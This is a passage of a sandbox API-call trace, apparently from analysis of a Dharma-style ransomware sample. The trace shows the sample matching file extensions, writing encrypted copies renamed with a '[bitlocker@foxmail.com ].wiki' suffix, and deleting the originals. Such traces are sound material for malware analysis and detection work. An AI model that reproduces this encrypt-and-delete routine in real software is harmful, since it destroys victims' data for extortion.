returned 101 [0179.624] lstrlenW (lpString=".doc") returned 4 [0179.624] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.624] lstrlenW (lpString=".docx") returned 5 [0179.624] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.624] lstrlenW (lpString=".pdf") returned 4 [0179.624] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString=".xls") returned 4 [0179.625] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString=".xlsx") returned 5 [0179.625] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.625] lstrlenW (lpString=".ppt") returned 4 [0179.625] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString=".zip") returned 4 [0179.625] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString=".rar") returned 4 [0179.625] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString=".bz2") returned 4 [0179.625] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString=".7z") returned 3 [0179.625] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString=".dbf") returned 4 [0179.625] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString=".1cd") returned 4 [0179.625] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString=".jpg") returned 4 [0179.625] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.625] lstrlenW (lpString=".doc") returned 4 [0179.625] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".docx") returned 5 [0179.626] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0179.626] lstrlenW (lpString=".pdf") returned 4 [0179.626] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".xls") returned 4 [0179.626] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".xlsx") returned 5 [0179.626] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0179.626] lstrlenW (lpString=".ppt") returned 4 [0179.626] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.626] lstrlenW (lpString=".zip") returned 4 [0179.626] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".rar") returned 4 [0179.626] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".bz2") returned 4 [0179.626] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString=".7z") returned 3 [0179.626] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0179.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.626] lstrlenW (lpString=".dbf") returned 4 [0179.626] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.626] lstrlenW (lpString=".1cd") returned 4 [0179.626] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0179.626] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 101 [0179.626] lstrlenW (lpString=".jpg") returned 4 [0179.626] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0179.627] lstrlenW (lpString="Safe Browsing Cookies") returned 21 [0179.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.627] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7168) returned 1 [0179.627] CloseHandle (hObject=0x334) returned 1 [0179.627] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies")) returned 0x2020 [0179.627] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.627] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.627] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.628] GetLastError () returned 0x0 [0179.628] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x1c00, lpOverlapped=0x0) returned 1 [0179.644] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0179.645] ReadFile (in: hFile=0x334, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.645] WriteFile (in: hFile=0x160, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0179.645] SetEndOfFile (hFile=0x160) returned 1 [0179.645] CloseHandle (hObject=0x160) returned 1 [0179.645] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.645] SetEndOfFile (hFile=0x334) returned 1 [0179.646] CloseHandle (hObject=0x334) returned 1 [0179.646] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.646] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies")) returned 1 [0179.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.647] lstrlenW (lpString=".doc") returned 4 [0179.647] lstrcmpiW (lpString1=".doc", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".docx") returned 5 [0179.647] lstrcmpiW (lpString1=".docx", lpString2="okies") returned -1 [0179.647] lstrlenW (lpString=".pdf") returned 4 [0179.647] lstrcmpiW (lpString1=".pdf", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".xls") returned 4 [0179.647] lstrcmpiW (lpString1=".xls", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".xlsx") returned 5 [0179.647] lstrcmpiW (lpString1=".xlsx", lpString2="okies") returned -1 [0179.647] lstrlenW (lpString=".ppt") returned 4 [0179.647] lstrcmpiW (lpString1=".ppt", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.647] lstrlenW (lpString=".zip") returned 4 [0179.647] lstrcmpiW (lpString1=".zip", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".rar") returned 4 [0179.647] lstrcmpiW (lpString1=".rar", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".bz2") returned 4 [0179.647] lstrcmpiW (lpString1=".bz2", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString=".7z") returned 3 [0179.647] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.647] lstrlenW (lpString=".dbf") returned 4 [0179.647] lstrcmpiW (lpString1=".dbf", lpString2="kies") returned -1 [0179.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.648] lstrlenW (lpString=".1cd") returned 4 [0179.648] lstrcmpiW (lpString1=".1cd", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.648] lstrlenW (lpString=".jpg") returned 4 [0179.648] lstrcmpiW (lpString1=".jpg", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.648] lstrlenW (lpString=".doc") returned 4 [0179.648] lstrcmpiW (lpString1=".doc", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".docx") returned 5 [0179.648] lstrcmpiW (lpString1=".docx", lpString2="okies") returned -1 [0179.648] lstrlenW (lpString=".pdf") returned 4 [0179.648] lstrcmpiW (lpString1=".pdf", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".xls") returned 4 [0179.648] lstrcmpiW (lpString1=".xls", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".xlsx") returned 5 [0179.648] lstrcmpiW (lpString1=".xlsx", lpString2="okies") returned -1 [0179.648] lstrlenW (lpString=".ppt") returned 4 [0179.648] lstrcmpiW (lpString1=".ppt", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.648] lstrlenW (lpString=".zip") returned 4 [0179.648] lstrcmpiW (lpString1=".zip", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".rar") returned 4 [0179.648] lstrcmpiW (lpString1=".rar", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".bz2") returned 4 [0179.648] lstrcmpiW (lpString1=".bz2", lpString2="kies") returned -1 [0179.648] lstrlenW (lpString=".7z") returned 3 [0179.648] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.649] lstrlenW (lpString=".dbf") returned 4 [0179.649] lstrcmpiW (lpString1=".dbf", lpString2="kies") returned -1 [0179.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.649] lstrlenW (lpString=".1cd") returned 4 [0179.649] lstrcmpiW (lpString1=".1cd", lpString2="kies") returned -1 [0179.649] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 89 [0179.649] lstrlenW (lpString=".jpg") returned 4 [0179.649] lstrcmpiW (lpString1=".jpg", lpString2="kies") returned -1 [0179.649] lstrcmpiW (lpString1=".feed-ms", lpString2=".wiki") returned -1 [0179.649] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26 [0179.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.668] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=28672) returned 1 [0179.668] CloseHandle (hObject=0x198) returned 1 [0179.668] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms")) returned 0x2020 [0179.668] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.668] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.669] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.669] GetLastError () returned 0x0 [0179.669] ReadFile (in: hFile=0x198, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x7000, lpOverlapped=0x0) returned 1 [0179.685] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x7010, lpOverlapped=0x0) returned 1 [0179.686] ReadFile (in: hFile=0x198, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.686] WriteFile (in: hFile=0x1a4, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x108, lpOverlapped=0x0) returned 1 [0179.686] SetEndOfFile (hFile=0x1a4) returned 1 [0179.686] CloseHandle (hObject=0x1a4) returned 1 [0179.686] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.686] SetEndOfFile (hFile=0x198) returned 1 [0179.688] CloseHandle (hObject=0x198) returned 1 [0179.688] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.688] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms")) returned 1 [0179.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.688] lstrlenW (lpString=".doc") returned 4 [0179.688] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.688] lstrlenW (lpString=".docx") returned 5 [0179.688] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.688] lstrlenW (lpString=".pdf") returned 4 [0179.896] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString=".xls") returned 4 [0179.896] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString=".xlsx") returned 5 [0179.896] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.896] lstrlenW (lpString=".ppt") returned 4 [0179.896] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString=".zip") returned 4 [0179.896] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString=".rar") returned 4 [0179.896] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString=".bz2") returned 4 [0179.896] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString=".7z") returned 3 [0179.896] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString=".dbf") returned 4 [0179.896] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString=".1cd") returned 4 [0179.896] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString=".jpg") returned 4 [0179.896] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.896] lstrlenW (lpString=".doc") returned 4 [0179.896] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".docx") returned 5 [0179.897] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.897] lstrlenW (lpString=".pdf") returned 4 [0179.897] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".xls") returned 4 [0179.897] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".xlsx") returned 5 [0179.897] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.897] lstrlenW (lpString=".ppt") returned 4 [0179.897] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.897] lstrlenW (lpString=".zip") returned 4 [0179.897] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".rar") returned 4 [0179.897] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".bz2") returned 4 [0179.897] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString=".7z") returned 3 [0179.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.897] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.897] lstrlenW (lpString=".dbf") returned 4 [0179.897] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.897] lstrlenW (lpString=".1cd") returned 4 [0179.897] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.897] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 103 [0179.897] lstrlenW (lpString=".jpg") returned 4 [0179.897] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.898] lstrlenW (lpString="fwlink[1]") returned 9 [0179.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.074] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0180.074] CloseHandle (hObject=0x320) returned 1 [0180.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.074] lstrlenW (lpString=".doc") returned 4 [0180.074] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString=".docx") returned 5 [0180.074] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0180.074] lstrlenW (lpString=".pdf") returned 4 [0180.074] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString=".xls") returned 4 [0180.074] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString=".xlsx") returned 5 [0180.074] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0180.074] lstrlenW (lpString=".ppt") returned 4 [0180.074] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.074] lstrlenW (lpString=".zip") returned 4 [0180.074] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString=".rar") returned 4 [0180.074] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0180.074] lstrlenW (lpString=".bz2") returned 4 [0180.074] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0180.075] lstrlenW (lpString=".7z") returned 3 [0180.075] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0180.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 84 [0180.075] lstrlenW (lpString=".dbf") returned 4 [0180.075] lstrcmpiW 